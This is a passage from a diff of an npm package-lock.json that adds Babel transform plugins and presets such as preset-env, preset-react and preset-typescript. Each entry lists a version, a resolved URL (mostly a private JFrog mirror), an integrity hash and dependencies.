"sha512-emtEpoaTMsOs6Tzz+nbmcePl6AKVtS1yC4YNAeMun9U8YCsgadPNxnOPQ8GhHFB2qdx+LZu9LgoC0Lthuu05DQ==", + "dependencies": { + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-umd": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.22.5.tgz", + "integrity": "sha512-+S6kzefN/E1vkSsKx8kmQuqeQsvCKCd1fraCM7zXm4SFoggI099Tr4G8U81+5gtMdUeMQ4ipdQffbKLX0/7dBQ==", + "dependencies": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.22.5.tgz", + "integrity": "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-new-target": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.22.5.tgz", + "integrity": "sha512-AsF7K0Fx/cNKVyk3a+DW0JLo+Ua598/NxMRvxDnkpCIGFh43+h/v2xyhRUYf6oD8gE4QtL83C7zZVghMjHd+iw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-nullish-coalescing-operator": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.22.5.tgz", + "integrity": "sha512-6CF8g6z1dNYZ/VXok5uYkkBBICHZPiGEl7oDnAx2Mt1hlHVHOSIKWJaXHjQJA5VB43KZnXZDIexMchY4y2PGdA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-numeric-separator": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.22.5.tgz", + "integrity": "sha512-NbslED1/6M+sXiwwtcAB/nieypGw02Ejf4KtDeMkCEpP6gWFMX1wI9WKYua+4oBneCCEmulOkRpwywypVZzs/g==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-rest-spread": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.22.5.tgz", + "integrity": "sha512-Kk3lyDmEslH9DnvCDA1s1kkd3YWQITiBOHngOtDL9Pt6BZjzqb6hiOlb8VfjiiQJ2unmegBqZu0rx5RxJb5vmQ==", + "dependencies": { + "@babel/compat-data": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-super": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.22.5.tgz", + "integrity": "sha512-klXqyaT9trSjIUrcsYIfETAzmOEZL3cBYqOYLJxBHfMFFggmXOv+NYSX/Jbs9mzMVESw/WycLFPRx8ba/b2Ipw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-catch-binding": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.22.5.tgz", + "integrity": "sha512-pH8orJahy+hzZje5b8e2QIlBWQvGpelS76C63Z+jhZKsmzfNaPQ+LaW6dcJ9bxTpo1mtXbgHwy765Ro3jftmUg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-chaining": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.22.5.tgz", + "integrity": "sha512-AconbMKOMkyG+xCng2JogMCDcqW8wedQAqpVIL4cOSescZ7+iW8utC6YDZLMCSUIReEA733gzRSaOSXMAt/4WQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-parameters": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.22.5.tgz", + "integrity": "sha512-AVkFUBurORBREOmHRKo06FjHYgjrabpdqRSwq6+C7R5iTCZOsM4QbcB27St0a4U6fffyAOqh3s/qEfybAhfivg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-methods": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.22.5.tgz", + "integrity": "sha512-PPjh4gyrQnGe97JTalgRGMuU4icsZFnWkzicB/fUtzlKUqvsWBKEpPPfr5a2JiyirZkHxnAqkQMO5Z5B2kK3fA==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-property-in-object": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.22.5.tgz", + "integrity": "sha512-/9xnaTTJcVoBtSSmrVyhtSvO3kbqS2ODoh2juEU72c3aYonNF0OMGiaz2gjukyKM2wBBYJP38S4JiE0Wfb5VMQ==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-property-literals": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.22.5.tgz", + "integrity": "sha512-TiOArgddK3mK/x1Qwf5hay2pxI6wCZnvQqrFSqbtg1GLl2JcNMitVH/YnqjP+M31pLUeTfzY1HAXFDnUBV30rQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-constant-elements": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.22.5.tgz", + "integrity": "sha512-BF5SXoO+nX3h5OhlN78XbbDrBOffv+AxPP2ENaJOVqjWCgBDeOY3WcaUcddutGSfoap+5NEQ/q/4I3WZIvgkXA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-display-name": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.22.5.tgz", + "integrity": "sha512-PVk3WPYudRF5z4GKMEYUrLjPl38fJSKNaEOkFuoprioowGuWN6w2RKznuFNSlJx7pzzXXStPUnNSOEO0jL5EVw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.22.5.tgz", + "integrity": "sha512-rog5gZaVbUip5iWDMTYbVM15XQq+RkUKhET/IHR6oizR+JEoN6CAfTTuHcK4vwUyzca30qqHqEpzBOnaRMWYMA==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-jsx": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-development": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.22.5.tgz", + "integrity": "sha512-bDhuzwWMuInwCYeDeMzyi7TaBgRQei6DqxhbyniL7/VG4RSS7HtSL2QbY4eESy1KJqlWt8g3xeEBGPuo+XqC8A==", + "dependencies": { + "@babel/plugin-transform-react-jsx": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-pure-annotations": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.22.5.tgz", + "integrity": "sha512-gP4k85wx09q+brArVinTXhWiyzLl9UpmGva0+mWyKxk6JZequ05x3eUcIUE+FyttPKJFRRVtAvQaJ6YF9h1ZpA==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.22.5.tgz", + "integrity": "sha512-rR7KePOE7gfEtNTh9Qw+iO3Q/e4DEsoQ+hdvM6QUDH7JRJ5qxq5AA52ZzBWbI5i9lfNuvySgOGP8ZN7LAmaiPw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "regenerator-transform": "^0.15.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-reserved-words": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.22.5.tgz", + "integrity": "sha512-DTtGKFRQUDm8svigJzZHzb/2xatPc6TzNvAIJ5GqOKDsGFYgAskjRulbR/vGsPKq3OPqtexnz327qYpP57RFyA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.22.5.tgz", + "integrity": "sha512-bg4Wxd1FWeFx3daHFTWk1pkSWK/AyQuiyAoeZAOkAOUBjnZPH6KT7eMxouV47tQ6hl6ax2zyAWBdWZXbrvXlaw==", + "dependencies": { + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "babel-plugin-polyfill-corejs2": "^0.4.3", + "babel-plugin-polyfill-corejs3": "^0.8.1", + "babel-plugin-polyfill-regenerator": "^0.5.0", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/plugin-transform-shorthand-properties": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.22.5.tgz", + "integrity": "sha512-vM4fq9IXHscXVKzDv5itkO1X52SmdFBFcMIBZ2FRn2nqVYqw6dBexUgMvAjHW+KXpPPViD/Yo3GrDEBaRC0QYA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-spread": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-spread/-/plugin-transform-spread-7.22.5.tgz", + "integrity": "sha512-5ZzDQIGyvN4w8+dMmpohL6MBo+l2G7tfC/O2Dg7/hjpgeWvUx8FzfeOKxGog9IimPa4YekaQ9PlDqTLOljkcxg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-sticky-regex": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.22.5.tgz", + "integrity": "sha512-zf7LuNpHG0iEeiyCNwX4j3gDg1jgt1k3ZdXBKbZSoA3BbGQGvMiSvfbZRR3Dr3aeJe3ooWFZxOOG3IRStYp2Bw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-template-literals": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.22.5.tgz", + "integrity": "sha512-5ciOehRNf+EyUeewo8NkbQiUs4d6ZxiHo6BcBcnFlgiJfu16q0bQUw9Jvo0b0gBKFG1SMhDSjeKXSYuJLeFSMA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typeof-symbol": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.22.5.tgz", + "integrity": "sha512-bYkI5lMzL4kPii4HHEEChkD0rkc+nvnlR6+o/qdqR6zrm0Sv/nodmyLhlq2DO0YKLUNd2VePmPRjJXSBh9OIdA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typescript": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.22.5.tgz", + "integrity": "sha512-SMubA9S7Cb5sGSFFUlqxyClTA9zWJ8qGQrppNUm05LtFuN1ELRFNndkix4zUJrC9F+YivWwa1dHMSyo0e0N9dA==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-typescript": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-escapes": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.22.5.tgz", + "integrity": "sha512-biEmVg1IYB/raUO5wT1tgfacCef15Fbzhkx493D3urBI++6hpJ+RFG4SrWMn0NEZLfvilqKf3QDrRVZHo08FYg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-property-regex": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.22.5.tgz", + "integrity": "sha512-HCCIb+CbJIAE6sXn5CjFQXMwkCClcOfPCzTlilJ8cUatfzwHlWQkbtV0zD338u9dZskwvuOYTuuaMaA8J5EI5A==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-regex": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.22.5.tgz", + "integrity": "sha512-028laaOKptN5vHJf9/Arr/HiJekMd41hOEZYvNsrsXqJ7YPYuX2bQxh31fkZzGmq3YqHRJzYFFAVYvKfMPKqyg==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-sets-regex": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.22.5.tgz", + "integrity": "sha512-lhMfi4FC15j13eKrh3DnYHjpGj6UKQHtNKTbtc1igvAhRy4+kLhV07OpLcsN0VgDEw/MjAvJO4BdMJsHwMhzCg==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/preset-env": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/preset-env/-/preset-env-7.22.5.tgz", + "integrity": "sha512-fj06hw89dpiZzGZtxn+QybifF07nNiZjZ7sazs2aVDcysAZVGjW7+7iFYxg6GLNM47R/thYfLdrXc+2f11Vi9A==", + "dependencies": { + "@babel/compat-data": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.5", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.22.5", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.22.5", + "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3", + "@babel/plugin-syntax-import-assertions": "^7.22.5", + "@babel/plugin-syntax-import-attributes": "^7.22.5", + "@babel/plugin-syntax-import-meta": "^7.10.4", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5", + "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", + "@babel/plugin-transform-arrow-functions": "^7.22.5", + "@babel/plugin-transform-async-generator-functions": "^7.22.5", + "@babel/plugin-transform-async-to-generator": "^7.22.5", + "@babel/plugin-transform-block-scoped-functions": "^7.22.5", + "@babel/plugin-transform-block-scoping": "^7.22.5", + "@babel/plugin-transform-class-properties": "^7.22.5", + "@babel/plugin-transform-class-static-block": "^7.22.5", + "@babel/plugin-transform-classes": "^7.22.5", + "@babel/plugin-transform-computed-properties": "^7.22.5", + "@babel/plugin-transform-destructuring": "^7.22.5", + "@babel/plugin-transform-dotall-regex": "^7.22.5", + "@babel/plugin-transform-duplicate-keys": "^7.22.5", + "@babel/plugin-transform-dynamic-import": "^7.22.5", + "@babel/plugin-transform-exponentiation-operator": "^7.22.5", + "@babel/plugin-transform-export-namespace-from": "^7.22.5", + "@babel/plugin-transform-for-of": "^7.22.5", + "@babel/plugin-transform-function-name": "^7.22.5", + "@babel/plugin-transform-json-strings": "^7.22.5", + "@babel/plugin-transform-literals": "^7.22.5", + "@babel/plugin-transform-logical-assignment-operators": "^7.22.5", + "@babel/plugin-transform-member-expression-literals": "^7.22.5", + "@babel/plugin-transform-modules-amd": "^7.22.5", + "@babel/plugin-transform-modules-commonjs": "^7.22.5", + "@babel/plugin-transform-modules-systemjs": "^7.22.5", + "@babel/plugin-transform-modules-umd": "^7.22.5", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.22.5", + "@babel/plugin-transform-new-target": "^7.22.5", + "@babel/plugin-transform-nullish-coalescing-operator": "^7.22.5", + "@babel/plugin-transform-numeric-separator": "^7.22.5", + "@babel/plugin-transform-object-rest-spread": "^7.22.5", + "@babel/plugin-transform-object-super": "^7.22.5", + "@babel/plugin-transform-optional-catch-binding": "^7.22.5", + "@babel/plugin-transform-optional-chaining": "^7.22.5", + "@babel/plugin-transform-parameters": "^7.22.5", + "@babel/plugin-transform-private-methods": "^7.22.5", + "@babel/plugin-transform-private-property-in-object": "^7.22.5", + "@babel/plugin-transform-property-literals": "^7.22.5", + "@babel/plugin-transform-regenerator": "^7.22.5", + "@babel/plugin-transform-reserved-words": "^7.22.5", + "@babel/plugin-transform-shorthand-properties": "^7.22.5", + "@babel/plugin-transform-spread": "^7.22.5", + "@babel/plugin-transform-sticky-regex": "^7.22.5", + "@babel/plugin-transform-template-literals": "^7.22.5", + "@babel/plugin-transform-typeof-symbol": "^7.22.5", + "@babel/plugin-transform-unicode-escapes": "^7.22.5", + "@babel/plugin-transform-unicode-property-regex": "^7.22.5", + "@babel/plugin-transform-unicode-regex": "^7.22.5", + "@babel/plugin-transform-unicode-sets-regex": "^7.22.5", + "@babel/preset-modules": "^0.1.5", + "@babel/types": "^7.22.5", + "babel-plugin-polyfill-corejs2": "^0.4.3", + "babel-plugin-polyfill-corejs3": "^0.8.1", + "babel-plugin-polyfill-regenerator": "^0.5.0", + "core-js-compat": "^3.30.2", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-env/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/preset-modules": { + "version": "0.1.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/preset-modules/-/preset-modules-0.1.5.tgz", + "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", + "@babel/plugin-transform-dotall-regex": "^7.4.4", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-react": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/preset-react/-/preset-react-7.22.5.tgz", + "integrity": "sha512-M+Is3WikOpEJHgR385HbuCITPTaPRaNkibTEa9oiofmJvIsrceb4yp9RL9Kb+TE8LznmeyZqpP+Lopwcx59xPQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.5", + "@babel/plugin-transform-react-display-name": "^7.22.5", + "@babel/plugin-transform-react-jsx": "^7.22.5", + "@babel/plugin-transform-react-jsx-development": "^7.22.5", + "@babel/plugin-transform-react-pure-annotations": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-typescript": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/preset-typescript/-/preset-typescript-7.22.5.tgz", + "integrity": "sha512-YbPaal9LxztSGhmndR46FmAbkJ/1fAsw293tSU+I5E5h+cnJ3d4GTwyUgGYmOXJYdGA+uNePle4qbaRzj2NISQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-option": "^7.22.5", + "@babel/plugin-syntax-jsx": "^7.22.5", + "@babel/plugin-transform-modules-commonjs": "^7.22.5", + "@babel/plugin-transform-typescript": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/regjsgen": { + "version": "0.8.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/regjsgen/-/regjsgen-0.8.0.tgz", + "integrity": "sha512-x/rqGMdzj+fWZvCOYForTghzbtqPDZ5gPwaoNGHdgDfF2QA/XZbCBp4Moo5scrkAMPhB7z26XM/AaHuIJdgauA==" + }, + "node_modules/@babel/runtime": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/runtime/-/runtime-7.22.5.tgz", + "integrity": "sha512-ecjvYlnAaZ/KVneE/OdKYBYfgXV3Ptu6zQWmgEF7vwKhQnvVS6bjMD2XYgj+SNvQ1GfK/pjgokfPkC/2CO8CuA==", + "dependencies": { + "regenerator-runtime": "^0.13.11" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.24.0", + 